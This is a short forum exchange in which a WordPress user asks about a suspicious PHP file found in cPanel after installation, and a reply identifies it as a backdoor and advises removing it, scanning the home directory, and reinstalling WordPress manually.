Hello.
What is the code for exactly, please?
I installed WP recently on cPanel but I got a 403/4 error when I went to mydomain.com/wp-admin
I then went into the cPanel folders and saw a php file with a strange name and inside it had a code similar to yours.
I was quite frustrated and I planned to delete it because I don't see it on my other hosting account.
My hosting company have not been able to give me a solid answer yet about the file.
Your voice on this matter means a lot to me - Should I delete this strange php file?
Thank you.
JD

This is a backdoor file to access your root directory.
I will strongly recommend you to install the WordPress manually instead of using this online software.
Don't forget to remove this file from your server and scan your home directory at least once.
